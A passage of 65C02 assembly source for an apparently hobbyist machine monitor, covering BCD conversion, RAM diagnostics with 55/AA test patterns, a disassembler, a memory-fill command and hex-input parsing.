---------------------------------------------------------------------------------------------------------------------- ; INPUT: BIN = 8-bit binary value $00-$FF ; RETURNS: BCD = ones and tens ; BCD+1 = hundreds bin2bcd8: pha phx sed ; Switch to decimal calculation mode clc ; Clear carry bit lda #0 sta BCD ; Clear out BCD variable sta BCD+1 ; ldx #8 bin2bcd8_convert: asl BIN ; Shift out one bit lda BCD ; And add into result adc BCD sta BCD lda BCD+1 ; propagating any carry adc BCD+1 sta BCD+1 dex ; And repeat for the next bit bne bin2bcd8_convert cld ; Back to binary calculation mode plx pla rts bin2bcd16: pha phx sed ; Switch to decimal calculation mode clc ; Clear carry bit lda #0 sta BCD ; Clear out BCD variable sta BCD+1 ; sta BCD+2 ldx #16 bin2bcd16_convert: asl BIN ; Shift out one bit rol BIN+1 lda BCD ; And add into result adc BCD sta BCD lda BCD+1 ; ... propagating any carry adc BCD+1 sta BCD+1 lda BCD+2 ; ... thru whole result adc BCD+2 sta BCD+2 dex ; And repeat for the next bit bne bin2bcd16_convert cld ; Back to binary calculation mode plx pla rts ; _ _ _ _ ; __| | ___ | | ___ | |_ ___ ___ | |__ __ _ _ __ ; / _` | / _ \ | | / _ \ | __| / _ \ / __| | '_ \ / _` | | '__| ; | (_| | | __/ | | | __/ | |_ | __/ | (__ | | | | | (_| | | | ; \__,_| \___| |_| \___| \__| \___| _____ \___| |_| |_| \__,_| |_| ; |_____| ; ; Delete one or many characters. Number of characters to delete is in Y (minimum is 1) ; ------------------------------------------------------------------------------------ delete_char: pha delete_char_loop: lda #BS ; Go back one character jsr print_char lda #" " ; Remove character jsr print_char lda #BS ; Go back again jsr print_char dey ; Decrement number of charaters to delete bne delete_char_loop ; If not reached number of characters deleted, continue delete pla rts ; _ _ _ _ ; __| | (_) __ _ __ _ _ __ ___ ___ | |_ (_) ___ ___ ; / _` | | | / _` | / _` | | '_ \ / _ \ / __| | __| | | / __| / __| ; | (_| | | | | (_| | | (_| | | | | | | (_) | \__ \ | |_ | | | (__ \__ \ ; \__,_| |_| \__,_| \__, | |_| |_| \___/ |___/ \__| |_| \___| |___/ ; |___/ ; ; Diagnose RAM and peripherals ; ---------------------------------------------------------------------------------------------------------------------- ; DESTROYS: A, X, Y, MON_TEMP diagnostics: sei ; Deactivate interrupts stz DIAG_TEMP+1 ; Used to detect skip test ; ZERO-PAGE RAM TEST ; ------------------ diag_zeropage: ; PRINT MESSAGE ldx #<diag_zeropage_msg ; Get LSB address of msg ldy #>diag_zeropage_msg ; Get MSB address of msg jsr print_string ; Display "Testing ZeroPage $0000-00FF" ldx #$00 ; Set start address pointer diag_zeropage55: ; TEST WITH 55 lda $00,x ; Load value stored at memory location pointed by x sta DIAG_TEMP ; Save it lda #$55 ; Load value 55 test pattern sta $00,x ; Store test pattern in memory location lda $00,x ; Reload test pattern from memory cmp #$55 ; Compare it to the original test pattern beq diag_zeropageAA ; If equal, test next pattern jmp diag_error ; If not, print error, and end routine diag_zeropageAA: ; TEST WITH AA lda #$AA ; Load value AA test pattern sta $00,x ; Store test pattern in memory location lda $00,x ; Reload test pattern from memory cmp #$AA ; Compare it to the original test pattern beq diag_zeropage_restore ; If equal, restore data back to ram jmp diag_error ; If not, print error, and end routine diag_zeropage_restore: ; RESTORE DATA AND LOOP lda DIAG_TEMP ; Restore data sta $00,x ; Save value back to zeropage inx ; Increment address pointer bne diag_zeropage55 ; If rolled back to 0, then test stack RAM, else test next location jsr diag_ok ; STACK PAGE RAM TEST ; ------------------- diag_stack: ldx #<diag_stack_msg ; Get LSB address of msg ldy #>diag_stack_msg ; Get MSB address of msg jsr print_string ; Display "Testing StackPage $0100-01FF" ldx #$00 ; Set start address pointer diag_stack55: lda $0100,x ; Load value storet at memory location pointed by x sta DIAG_TEMP ; Store it lda #$55 ; Load value 55 test pattern sta $0100,x ; Store test pattern in memory location lda $0100,x ; Reload test pattern from memory cmp #$55 ; Compare it to the original test pattern beq diag_stackAA ; If equal, test next pattern jmp diag_error ; If not, print error, and end routine diag_stackAA: lda #$AA ; Load value AA test pattern sta $0100,x ; Store test pattern in memory location lda $0100,x ; Reload test pattern from memory cmp #$AA ; Compare it to the original test pattern beq diag_stack_restore ; If equal, restore data back to ram jmp diag_error ; If not, print error, and end routine diag_stack_restore: lda DIAG_TEMP ; Restore data from stack sta $0100,x ; Save value back to stack inx ; Increment address pointer bne diag_stack55 ; If rolled back to 0, then test stack RAM, else test next location jsr diag_ok ; SYSTEM RAM TEST ; --------------- diag_ramtest: ; SYTEM RAM TEST ldx #<diag_ramtest_msg ; Get LSB address of msg ldy #>diag_ramtest_msg ; Get MSB address of msg jsr print_string ; Display "Testing RAM $" lda #>START_RAM ; Load start address (MSB) sta CUR_ADDR+1 ; Save start address accessed (MSB) jsr print_byte ; Print MSB of start address lda #<START_RAM ; Load start address (LSB) sta CUR_ADDR ; Save start address accessed (LSB) jsr print_byte ; Print LSB of start address lda #"-" ; jsr print_char ; Print dash lda #>END_RAM ; Load end address (MSB) sta DES_ADDR+1 ; Save end address (MSB) jsr print_byte ; Print MSB of end address lda #<END_RAM ; Load end address (LSB) sta DES_ADDR ; Save end address (LSB) jsr print_byte ; Print LSB of end address lda #":" ; jsr print_char ; Print colon jsr diag_memtest ; Execute RAM diagnostics bcc diag_bankramtest jsr diag_ok ; BANK RAM TEST ; ------------- diag_bankramtest: ; BANK RAM TEST lda DIAG_TEMP+1 beq diag_bankramtest2 jmp diag_end diag_bankramtest2: ldx #<diag_bankramtest_msg ; Get LSB address of msg ldy #>diag_bankramtest_msg ; Get MSB address of msg jsr print_string ; Write message lda #>START_BANKRAM ; Load start address (MSB) sta CUR_ADDR+1 ; Save start address accessed (MSB) jsr print_byte ; Print MSB of start address lda #<START_BANKRAM ; Load start address (LSB) sta CUR_ADDR ; Save start address accessed (LSB) jsr print_byte ; Print LSB of start address lda #"-" ; jsr print_char ; Print dash lda #>END_BANKRAM ; Load end address (MSB) sta DES_ADDR+1 ; Save end address (MSB) jsr print_byte ; Print MSB of end address lda #<END_BANKRAM ; Load end address (LSB) sta DES_ADDR ; Save end address (LSB) jsr print_byte ; Print LSB of end address lda #":" ; jsr print_char ; Print colon lda #" " ; jsr print_char ; Print space ldx #NUMBER_OF_BANKS ; Setup bank counter to point to first bank diag_banktest: ; lda #>START_BANKRAM ; Reload start address (MSB) sta CUR_ADDR+1 ; Save start address accessed (MSB) lda #<START_BANKRAM ; Reload start address (LSB) sta CUR_ADDR ; Save start address accessed (LSB) txa ; Transfer bank counter to A sta BANK_SEL ; Change bank sta BIN jsr bin2bcd8 lda BCD jsr print_byte ; Print space jsr diag_memtest ; Execute current bank RAM diagnostics bcc diag_end ; There was an error, exit ldy #2 ; Set backspace counter to 2 jsr delete_char ; Delete 2 characters from terminal dex ; Decrement bank numbers bne diag_banktest ; If not finished, then continue testing more banks ldy #1 ; Set backspace counter to 1 jsr delete_char ; Delete a characters from terminal jsr diag_ok ; NVRAM TEST ; ---------- diag_nvramtest: lda DIAG_TEMP+1 bne diag_end ldx #<diag_nvramtest_msg ; Get LSB address of msg ldy #>diag_nvramtest_msg ; Get MSB address of msg jsr print_string ; Display "Testing RAM $" lda #>START_NVRAM ; Load start address (MSB) sta CUR_ADDR+1 ; Save start address accessed (MSB) jsr print_byte ; Print MSB of start address lda #<START_NVRAM ; Load start address (LSB) sta CUR_ADDR ; Save start address accessed (LSB) jsr print_byte ; Print LSB of start address lda #"-" ; jsr print_char ; Print dash lda #>END_NVRAM ; Load end address (MSB) sta DES_ADDR+1 ; Save end address (MSB) jsr print_byte ; Print MSB of end address lda #<END_NVRAM ; Load end address (LSB) sta DES_ADDR ; Save end address (LSB) jsr print_byte ; Print LSB of end address lda #":" ; jsr print_char ; Print colon jsr diag_memtest ; Execute RAM diagnostics bcc diag_end jsr diag_ok diag_end: stz CUR_ADDR ; Reset default address to $0000 stz CUR_ADDR+1 ; ;cli ; Restore interrupt rts ; Diagnostics subroutines diag_memtest: ; TEST MEMORY LOCATIONS lda (CUR_ADDR) ; Read a byte from memory sta MON_TEMP ; Store byte to retrieve it back later lda #$55 ; Load 55 sta DIAG_TEMP ; Save for diag_error sta (CUR_ADDR) ; Store value lda (CUR_ADDR) ; Read value cmp #$55 ; Is the result the same as the loaded value? beq diag_memtest2 ; Yes, go to next test jmp diag_error ; No, print error diag_memtest2: lda #$AA ; Load AA sta DIAG_TEMP ; Save for diag_error sta (CUR_ADDR) ; Store value lda (CUR_ADDR) ; Read value cmp #$AA ; Is the result the same as the loaded value? beq diag_memtest_ok ; Yes, go and print OK jmp diag_error ; No, print error diag_memtest_ok: lda MON_TEMP ; Restore original byte sta (CUR_ADDR) ; And write it back to memory ; ; HAS THE ESCAPE KEY BEEN PRESSED ; jsr read_char ; Get a character from the terminal, if available ; bcs diag_key_read ; If one is present, interpret keystroke ; jsr read_keyboard ; Get a character from the PS/2 keyboard buffer, if available ; bcs diag_key_read ; Loop until one is present ; bra diag_mem_test_continue ;diag_key_read: ; cmp #ESC ; bne diag_mem_test_continue ; ldy 2 ; jsr delete_char ; jsr diag_skip_test ; inc DIAG_TEMP+1 ; ldx #0 ; sec ; rts ;diag_mem_test_continue: lda DES_ADDR+1 cmp CUR_ADDR+1 bne diag_memtest_next ; lda DES_ADDR cmp CUR_ADDR bne diag_memtest_next ; sec rts diag_memtest_next: jsr inc_cur_addr ; Increment current address to next bra diag_memtest diag_skip_test: ldx #<diag_skip_test_msg ; Get LSB address of msg ldy #>diag_skip_test_msg ; Get MSB address of msg jsr print_string ; Write message diag_error: ; PRINT ERROR MESAGE lda #CR jsr print_char ; Change line ldx #<diag_ram_error_msg ; Get LSB address of msg ldy #>diag_ram_error_msg ; Get MSB address of msg jsr print_string ; Write message lda CUR_ADDR+1 ; Load the MSB address where the error is jsr print_byte ; Print MSB lda CUR_ADDR ; Load the LSB address where the error is jsr print_byte ; Print LSB lda #":" jsr print_char ; Print colon lda (CUR_ADDR) ; Get content located at address where error is jsr print_byte ; Print the content ldx #<diag_ram_error2_msg ; Get LSB address of msg ldy #>diag_ram_error2_msg ; Get MSB address of msg jsr print_string ; Write message lda DIAG_TEMP ; Restore exected value from stack (was in X) jsr print_byte ; Print expected result lda #CR ; jsr print_char ; Print carriage return clc ; Clear carry to declare error jmp diag_end diag_ok: ; PRINT OK MESSAGE lda #" " jsr print_char lda #"O" jsr print_char lda #"K" jsr print_char lda #CR jsr print_char rts ; ____ _ _ _ ; | _ \ (_) ___ __ _ ___ ___ ___ _ __ ___ | |__ | | ___ ; | | | | | | / __| / _` | / __| / __| / _ \ | '_ ` _ \ | '_ \ | | / _ \ ; | |_| | | | \__ \ | (_| | \__ \ \__ \ | __/ | | | | | | | |_) | | | | __/ ; |____/ |_| |___/ \__,_| |___/ |___/ \___| |_| |_| |_| |_.__/ |_| \___| ; ; Disassembles code in memory ; ---------------------------------------------------------------------------------------------------------------------- disassemble: ; GET COMMAND LINE START ADDRESS IF ANY ; ------------------------------------- dis_read_cmd_line: ; CHECK FOR EOL AND " " DELIMITER lda IN_BUFFER,y ; Read a character from the input buffer beq dis_default_addr ; Is it end of buffer (0)? Yes, so use default address (CUR_ADDR) cmp #" " ; Is it the space delimiter? beq dis_start_addr ; Yes it is. Then go read an address jsr syntax_error ; If anything else, print a syntax error jmp disassemble_end ; Go to end of routine dis_default_addr: ; IF NO ADDRESS PROVIDED, GET CUR ADDRESS USED lda CUR_ADDR+1 ; Read the MSB's last address used sta SRC_ADDR+1 ; Store it as the start address lda CUR_ADDR ; Read the LSB's last address used sta SRC_ADDR ; Store it as the start address bra dis_start ; Go grab the end address, if there is one dis_start_addr: ; GET START ADDRESS jsr skip_spaces ; skip leading spaces if any jsr get_word ; Get address from the input buffer bcs dis_store_start ; Valid word is present, store address jsr invalid_address ; Display invalid address message jmp disassemble_end ; No valid word is present, then send end parsing dis_store_start: ; STORE START ADDRESS lda WORD ; Load LSB from get_word sta SRC_ADDR ; Store LSB to start address register sta CUR_ADDR ; Store it in the current address (LSB) lda WORD+1 ; Load MSB from get_word sta SRC_ADDR+1 ; Store MSB to start address register sta CUR_ADDR+1 ; Store it in the current address (MSB) dis_start: stz MON_TEMP+1 ; Set line counter to 0 ; PRINT ADDRESS, OPCODE AND OPERAND VALUES dis_print_line: ; PRINT ADDRESS lda CUR_ADDR+1 ; Load address MSB jsr print_byte ; Prints MSB lda CUR_ADDR ; Load address LSB jsr print_byte ; Prints LSB lda #":" ; Fetch colon ":" delimiter for byte display jsr print_char ; Print it lda #" " ; Fetch the space character jsr print_char ; Print it ; PRINT NUMERICAL OPCODE lda (CUR_ADDR) ; Get opcode sta OPCODE ; Save opcode for later use tax ; Keep x to get addressing mode later jsr print_byte ; Print opcode byte lda #" " ; Print a space... jsr print_char ; ... to separate opcode from operand jsr inc_cur_addr ; Go to next address ; DETERMINE NUMBER OF BYTES FOR THAT INSTRUCTION lda dis_addressing,x ; Get the addressing mode sta ADDR_MODE ; Store addressing mode for later use cmp #2 ; Is it a 1-byte instruction? bcc dis_print_7_spaces ; Yes, then print some spaces to align to mnemonic print cmp #10 ; Does instruction have a single byte operand? bcc dis_print_1_operand ; Yes, print single-byte operand bra dis_print_2_operands ; No, print a 2-byte operand dis_print_1_operand: ; READ OPERAND lda (CUR_ADDR) ; Load operand sta OPERAND1 ; Store it in a variable for later use jsr print_byte ; Output it to screen jsr inc_cur_addr ; Go to next address bra dis_print_5_spaces ; Print some spaces to align to mnemonic print dis_print_2_operands: ; READ TWO OPERANDS lda (CUR_ADDR) ; Load first operand sta OPERAND1 ; Store it in a variable for later use jsr print_byte ; Output it to screen lda #" " ; Print a space jsr print_char ; jsr inc_cur_addr ; Go to next address lda (CUR_ADDR) ; Load second operand sta OPERAND2 ; Store it in a variable for later use jsr print_byte ; Output it to screen lda #" " ; Print two spaces jsr print_char ; jsr print_char ; jsr inc_cur_addr ; Go to next address bra dis_print_mnemonic dis_print_7_spaces: lda #" " jsr print_char jsr print_char dis_print_5_spaces: lda #" " jsr print_char jsr print_char jsr print_char jsr print_char jsr print_char ; PRINT OPCODE'S MNEMONIC (OpCode mnemonics are divided into 4 tables of 64 opcodes, equaling 256 bytes per table) dis_print_mnemonic: lda OPCODE cmp #$40 ; Read first block of mnemonic bcc dis_print_block1 cmp #$80 ; Read second block of mnemonic bcc dis_print_block2 cmp #$C0 ; Read third block of mnemonic bcc dis_print_block3 bra dis_print_block4 ; Read fourth block of mnemonic dis_print_block1: asl ; Multiply by 2, two times... asl ; ... to create a 4 byte offset tax ; Accumulator becomes the index lda dis_mnemonic_blk1,x ; Load first character of mnemonic jsr print_char ; Print it inx ; Point to next character lda dis_mnemonic_blk1,x ; Load second character of mnemonic jsr print_char ; Print it inx ; Point to next character lda dis_mnemonic_blk1,x ; Load third character of mnemonic jsr print_char ; Print it inx ; Point to next character lda dis_mnemonic_blk1,x ; Load fourth character of mnemonic jsr print_char ; Print it jmp dis_addr_mode dis_print_block2: sec ; Set carry bit sbc #$40 ; Offset to second table asl ; Multiply by 2, two times... asl ; ... to create a 4 byte offset tax ; Accumulator becomes the index lda dis_mnemonic_blk2,x ; Load first character of mnemonic jsr print_char ; Print it inx ; Point to next character lda dis_mnemonic_blk2,x ; Load second character of mnemonic jsr print_char ; Print it inx ; Point to next character lda dis_mnemonic_blk2,x ; Load third character of mnemonic jsr print_char ; Print it inx ; Point to next character lda dis_mnemonic_blk2,x ; Load fourth character of mnemonic jsr print_char ; Print it jmp dis_addr_mode dis_print_block3: sec ; Set carry bit sbc #$80 ; Offset to third table asl ; Multiply by 2, two times... asl ; ... to create a 4 byte offset tax ; Accumulator becomes the index lda dis_mnemonic_blk3,x ; Load first character of mnemonic jsr print_char ; Print it inx ; Point to next character lda dis_mnemonic_blk3,x ; Load second character of mnemonic jsr print_char ; Print it inx ; Point to next character lda dis_mnemonic_blk3,x ; Load third character of mnemonic jsr print_char ; Print it inx ; Point to next character lda dis_mnemonic_blk3,x ; Load fourth character of mnemonic jsr print_char ; Print it jmp dis_addr_mode dis_print_block4: sec ; Set carry bit sbc #$C0 ; Offset to fourth table asl ; Multiply by 2, two times... asl ; ... to create a 4 byte offset tax ; Accumulator becomes the index lda dis_mnemonic_blk4,x ; Load first character of mnemonic jsr print_char ; Print it inx ; Point to next character lda dis_mnemonic_blk4,x ; Load second character of mnemonic jsr print_char ; Print it inx ; Point to next character lda dis_mnemonic_blk4,x ; Load third character of mnemonic jsr print_char ; Print it inx ; Point to next character lda dis_mnemonic_blk4,x ; Load fourth character of mnemonic jsr print_char ; Print it ; PRINT OPERAND(S) IN CORRESPONDING ADDRESSING MODE FORMAT dis_addr_mode: lda #" " ; Print a space jsr print_char lda ADDR_MODE ; Get addressing mode and branch to appropriate addressing routine dis_inv cmp #0 ; Invalid opcode bne dis_imp jmp dis_invalid ; dis_imp cmp #IMP ; bne dis_imm ; jmp dis_implied ; dis_imm cmp #IMM ; bne dis_rel jmp dis_immediate ; dis_rel cmp #REL ; bne dis_zp jmp dis_relative ; dis_zp cmp #ZP ; bne dis_zpx jmp dis_zeropage ; dis_zpx cmp #ZPX bne dis_zpy ; jmp dis_zeropage_x ; dis_zpy cmp #ZPY ; bne dis_izp jmp dis_zeropage_y ; dis_izp cmp #IZP ; bne dis_izx jmp dis_indirect_zp ; dis_izx cmp #IZX ; bne dis_izy jmp dis_indirect_zpx ; dis_izy cmp #IZY ; bne dis_zpr jmp dis_indirect_zpy ; dis_zpr cmp #ZPR ; bne dis_abs jmp dis_zeropage_relative ; dis_abs cmp #ABS ; bne dis_abx jmp dis_absolute ; dis_abx cmp #ABX ; bne dis_aby jmp dis_absolute_x ; dis_aby cmp #ABY ; bne dis_ind jmp dis_absolute_y ; dis_ind cmp #IND ; bne dis_iax jmp dis_indirect ; dis_iax cmp #IAX ; bne dis_iay jmp dis_indirect_x ; dis_iay cmp #IAY ; bne dis_lop jmp dis_indirect_y ; dis_lop jmp dis_lines_loop ; INVALID dis_invalid ldx #9 jsr dis_spaces lda OPCODE jsr dis_print_ascii7 jmp dis_lines_loop ; IMPLIED dis_implied: ldx #9 jsr dis_spaces lda OPCODE jsr dis_print_ascii7 jmp dis_lines_loop ; IMMEDIATE: #$00 (ALSO PRINT ASCII VALUE IF IT'S IN A VALID RANGE) dis_immediate: lda #"#" jsr print_char lda #"$" jsr print_char lda OPERAND1 jsr print_byte ldx #5 jsr dis_spaces lda OPCODE jsr dis_print_ascii7 lda OPERAND1 jsr dis_print_ascii7 jmp dis_lines_loop ; Print next line or end routine ; RELATIVE: $00 (ALSO PRINTS DESTINATION ADDRESS) dis_relative: lda #"$" jsr print_char lda OPERAND1 jsr print_byte ldx #6 jsr dis_spaces lda OPCODE jsr dis_print_ascii7 lda OPERAND1 jsr dis_print_ascii7 jmp dis_lines_loop ; Print next line or end routine ; ZEROPAGE: $00 dis_zeropage: lda #"$" jsr print_char lda OPERAND1 jsr print_byte ldx #6 jsr dis_spaces lda OPCODE jsr dis_print_ascii7 lda OPERAND1 jsr dis_print_ascii7 jmp dis_lines_loop ; Print next line or end routine ; ZEROPAGE X INDEXED: $00,X dis_zeropage_x: lda #"$" jsr print_char lda OPERAND1 jsr print_byte lda #"," jsr print_char lda #"x" jsr print_char ldx #4 jsr dis_spaces lda OPCODE jsr dis_print_ascii7 lda OPERAND1 jsr dis_print_ascii7 jmp dis_lines_loop ; Print next line or end routine ; ZEROPAGE Y INDEXED: $00,Y dis_zeropage_y: lda #"$" jsr print_char lda OPERAND1 jsr print_byte lda #"," jsr print_char lda #"y" jsr print_char ldx #4 jsr dis_spaces lda OPCODE jsr dis_print_ascii7 lda OPERAND1 jsr dis_print_ascii7 jmp dis_lines_loop ; Print next line or end routine ; INDIRECT ZEROPAGE: ($00) dis_indirect_zp: lda #"(" jsr print_char lda #"$" jsr print_char lda OPERAND1 jsr print_byte lda #")" jsr print_char ldx #4 jsr dis_spaces lda OPCODE jsr dis_print_ascii7 lda OPERAND1 jsr dis_print_ascii7 jmp dis_lines_loop ; Print next line or end routine ; INDIRECT ZEROPAGE X INDEXED: ($00,X) dis_indirect_zpx: lda #"(" jsr print_char lda #"$" jsr print_char lda OPERAND1 jsr print_byte lda #"," jsr print_char lda #"x" jsr print_char lda #")" jsr print_char ldx #2 jsr dis_spaces lda OPCODE jsr dis_print_ascii7 lda OPERAND1 jsr dis_print_ascii7 jmp dis_lines_loop ; Print next line or end routine ; INDIRECT ZEROPAGE Y INDEXED: ($00),Y dis_indirect_zpy: lda #"(" jsr print_char lda #"$" jsr print_char lda OPERAND1 jsr print_byte lda #")" jsr print_char lda #"," jsr print_char lda #"y" jsr print_char ldx #2 jsr dis_spaces lda OPCODE jsr dis_print_ascii7 lda OPERAND1 jsr dis_print_ascii7 jmp dis_lines_loop ; Print next line or end routine ; ZEROPAGE RELATIVE: $00,$00 (ALSO PRINTS DESTINATION ADDRESS) dis_zeropage_relative: lda #"$" jsr print_char lda OPERAND1 jsr print_byte lda #"," jsr print_char lda #"$" jsr print_char lda OPERAND2 jsr print_byte ldx #2 jsr dis_spaces lda OPCODE jsr dis_print_ascii7 lda OPERAND1 jsr dis_print_ascii7 lda OPERAND2 jsr dis_print_ascii7 jmp dis_lines_loop ; Print next line or end routine ; ABSOLUTE: $0000 dis_absolute: lda #"$" jsr print_char lda OPERAND2 jsr print_byte lda OPERAND1 jsr print_byte ldx #4 jsr dis_spaces lda OPCODE jsr dis_print_ascii7 lda OPERAND1 jsr dis_print_ascii7 lda OPERAND2 jsr dis_print_ascii7 jmp dis_lines_loop ; Print next line or end routine ; ABSOLUTE X INDEXED: $0000,X dis_absolute_x: lda #"$" jsr print_char lda OPERAND2 jsr print_byte lda OPERAND1 jsr print_byte lda #"," jsr print_char lda #"x" jsr print_char ldx #2 jsr dis_spaces lda OPCODE jsr dis_print_ascii7 lda OPERAND1 jsr dis_print_ascii7 lda OPERAND2 jsr dis_print_ascii7 jmp dis_lines_loop ; Print next line or end routine ; ABSOLUTE Y INDEXED: $0000,Y dis_absolute_y: lda #"$" jsr print_char lda OPERAND2 jsr print_byte lda OPERAND1 jsr print_byte lda #"," jsr print_char lda #"y" jsr print_char ldx #2 jsr dis_spaces lda OPCODE jsr dis_print_ascii7 lda OPERAND1 jsr dis_print_ascii7 lda OPERAND2 jsr dis_print_ascii7 jmp dis_lines_loop ; Print next line or end routine ; INDIRECT: ($0000) dis_indirect: lda #"(" jsr print_char lda #"$" jsr print_char lda OPERAND2 jsr print_byte lda OPERAND1 jsr print_byte lda #")" jsr print_char ldx #2 jsr dis_spaces lda OPCODE jsr dis_print_ascii7 lda OPERAND1 jsr dis_print_ascii7 lda OPERAND2 jsr dis_print_ascii7 jmp dis_lines_loop ; Print next line or end routine ; INDIRECT X INDEXED: ($0000,X) dis_indirect_x: lda #"(" jsr print_char lda #"$" jsr print_char lda OPERAND2 jsr print_byte lda OPERAND1 jsr print_byte lda #"," jsr print_char lda #"x" jsr print_char lda #")" jsr print_char ldx #0 jsr dis_spaces lda OPCODE jsr dis_print_ascii7 lda OPERAND1 jsr dis_print_ascii7 lda OPERAND2 jsr dis_print_ascii7 jmp dis_lines_loop ; Print next line or end routine ; INDIRECT Y INDEXED: ($0000),Y dis_indirect_y: lda #"(" jsr print_char lda #"$" jsr print_char lda OPERAND2 jsr print_byte lda OPERAND1 jsr print_byte jsr print_char lda #")" lda #"," jsr print_char lda #"y" jsr print_char lda #")" ldx #0 jsr dis_spaces lda OPCODE jsr dis_print_ascii7 lda OPERAND1 jsr dis_print_ascii7 lda OPERAND2 jsr dis_print_ascii7 dis_lines_loop: lda #CR ; Change line jsr print_char ; inc MON_TEMP+1 ; Increment line number counter lda MON_TEMP+1 ; Has the line number counter... cmp #ROWS-2 ; ...reached the display size limit? beq disassemble_end ; Yes, then end routine jmp dis_print_line ; Else, print another line disassemble_end: rts ; Disassemble subroutines ; TAB ALIGN AND PRINT SEPARATOR dis_spaces: lda #" " ; Load space character cpx #0 ; Is X = 0? (Space counter) beq dis_spaces3 ; Yes, then print separator dis_spaces2: jsr print_char ; Print space dex ; Decrement X bne dis_spaces2 ; If X is not 0, then loop to print another space dis_spaces3: lda #"|" ; Print separator character jsr print_char ; lda #" " ; Print a space jsr print_char ; rts ; PRINT ASCII REPRESENTATION OF OPCODE/OPERAND(S) - (Useful for identifying text vs. code) dis_print_ascii7: cmp #" " ; ASCII decimal 32 (Space) bcc d_lc1 ; Is A < 20? Yes? Then print a dot cmp #$7F ; ASCII decimal 127? (DEL) bcs d_lc1 ; Is A >= 127? Yes? Then print a dot bra d_lc2 ; Otherwise, returns ASCII value, or Accumulator as is d_lc1: lda #"." ; It's an invalid character, replace it with a dot d_lc2: jsr print_char ; Print valid character rts ; __ _ _ _ ; / _| (_) | | | | _ __ ___ ___ _ __ ___ ; | |_ | | | | | | | '_ ` _ \ / _ \ | '_ ` _ \ ; | _| | | | | | | | | | | | | | __/ | | | | | | ; |_| |_| |_| |_| _____ |_| |_| |_| \___| |_| |_| |_| ; |_____| ; ; Fills a region of memory with a byte value ; ---------------------------------------------------------------------------------------------------------------------- fill_mem: ; CHECK FOR EOL AND " " DELIMITER lda IN_BUFFER,y ; Read a character from the input buffer bne f_delim ; Not end of string... jmp no_parameter ; Yes it is. Since nothing is specified, go print error, and exit f_delim cmp #" " ; Is it the space delimiter? beq fill_mem_start_addr ; Yes it is. Then go read an address jmp syntax_error ; If anything else, print a syntax error, and exit fill_mem_start_addr: ; GET START ADDRESS jsr skip_spaces ; skip leading spaces jsr get_word ; Get word (address) from the input buffer bcs fill_mem_store_start ; If valid, then save addresses jmp invalid_address ; Display invalid address message, and exit fill_mem_store_start: ; STORE AND PRINT START ADDRESS lda WORD+1 ; Load MSB from get_word jsr print_byte sta CUR_ADDR+1 ; Store MSB to start address register sta SRC_ADDR+1 ; Store MSB to start address register lda WORD ; Load LSB from get_word jsr print_byte sta CUR_ADDR ; Store LSB to start address register sta SRC_ADDR ; Store LSB to start address register lda #"-" jsr print_char fill_mem_is_end_addr: ; IS THERE AN END ADDRESS? lda IN_BUFFER,y ; Read a character from the input buffer bne f2 ; It's not the end of string jmp no_parameter ; It's the end f the string, print error f2 cmp #" " ; Is the it a space delimiter? beq fill_mem_end_addr ; It is, then get the byte jmp no_parameter ; Print an error if no delimiter was detected fill_mem_end_addr: ; GET END ADDRESSE iny ; Postition the index to next character jsr skip_spaces ; skip leading spaces jsr get_word ; Get address from the input buffer bcs fill_mem_store_end ; Address is valid, so save addresses rts ; It's not, then end routine fill_mem_store_end: ; STORE AND PRINT END ADDRESS lda WORD+1 ; Load MSB from get_address jsr print_byte sta DES_ADDR+1 ; Store MSB to start address register lda WORD ; Load LSB from get_address jsr print_byte sta DES_ADDR ; Store LSB to start address register lda #":" jsr print_char fill_mem_is_byte: ; IS THERE A BYTE COMMING UP? lda IN_BUFFER,y ; Read a character from the input buffer cmp #0 ; Is it the end of the string? beq f_nopar ; Yes it is, Since no byte has been entered, print error cmp #" " ; Is the it a space delimiter? beq fill_mem_byte ; It is, then get the byte f_nopar jmp no_parameter ; Print an error if no delimiter was detected fill_mem_byte: ; GET BYTE iny ; Postition the index to next character jsr skip_spaces ; skip leading spaces jsr get_byte ; Get address from the input buffer bcs fill_mem_memory ; Byte is valid, save byte rts ; It's not, then send end parsing fill_mem_memory: sta TEMP jsr print_byte lda #CR jsr print_char ;lda SRC_ADDR+1 ;sta CUR_ADDR+1 ;lda SRC_ADDR ;sta CUR_ADDR fill_mem_write_byte: lda CUR_ADDR+1 cmp DES_ADDR+1 bne fill_mem_next lda CUR_ADDR cmp DES_ADDR beq fill_mem_store_last fill_mem_next: lda TEMP sta (CUR_ADDR) ; Store it in specified memory location nop lda (CUR_ADDR) ; Read the byte just written cmp TEMP ; Compare it to the actual byte bne fill_mem_failed ; It they don't match, print an error jsr inc_cur_addr ; Increment last address position for next byte bra fill_mem_write_byte fill_mem_store_last: ; STORE CUR BYTE ADDRESS, AND SET CUR ADDRESS TO START ADDRESS ; -------------------------------------------------------------- lda TEMP sta (CUR_ADDR) ; Store it in specified memory location nop lda (CUR_ADDR) ; Read the byte just written cmp TEMP ; Compare it to the actual byte bne fill_mem_failed ; It they don't match, print an error lda SRC_ADDR+1 ; Load MSB from get_address sta CUR_ADDR+1 ; Store MSB to start address register lda SRC_ADDR ; Load LSB from get_address sta CUR_ADDR ; Store LSB to start address register rts fill_mem_failed: ldx #<cant_write_address ; Get LSB address ldy #>cant_write_address ; Get MSB address jsr print_string ; Write message lda CUR_ADDR+1 jsr print_byte lda CUR_ADDR jsr print_byte lda #CR jsr print_char rts ; End subroutine ; _ _ _ ; __ _ ___ | |_ | |__ _ _ | |_ ___ ; / _` | / _ \ | __| | '_ \ | | | | | __| / _ \ ; | (_| | | __/ | |_ | |_) | | |_| | | |_ | __/ ; \__, | \___| \__| _____ |_.__/ \__, | \__| \___| ; |___/ |_____| |___/ ; Read from INPUT_BUFFER at Y, and converts 2 ASCII characters to a hex byte ; ---------------------------------------------------------------------------------------------------------------------- ; INPUT: IN_BUFFER @ Y containing 2 characters ; DESTROYS: GET_TEMP ; RETURNS: Byte in A ; Carry bit clear = hex digit is not valid ; Carry bit set = hex digit is valid get_byte: jsr get_nibble ; convert ASCII to hex nibble bcc get_byte_end ; End routine if nibble is invalid asl ; push nibble to MSB asl ; asl ; asl ; sta GET_TEMP ; Store A in GET_TEMP jsr get_nibble ; convert ASCII to hex nibble bcc get_byte_end ; End routine if nibble is invalid ora GET_TEMP ; Join MSB and LSB into A get_byte_end: rts ; _ _ _ _ _ ; __ _ ___ | |_ _ __ (_) | |__ | |__ | | ___ ; / _` | / _ \ | __| | '_ \ | | | '_ \ | '_ \ | | / _ \ ; | (_| | | __/ | |_ | | | | | | | |_) | | |_) | | | | __/ ; 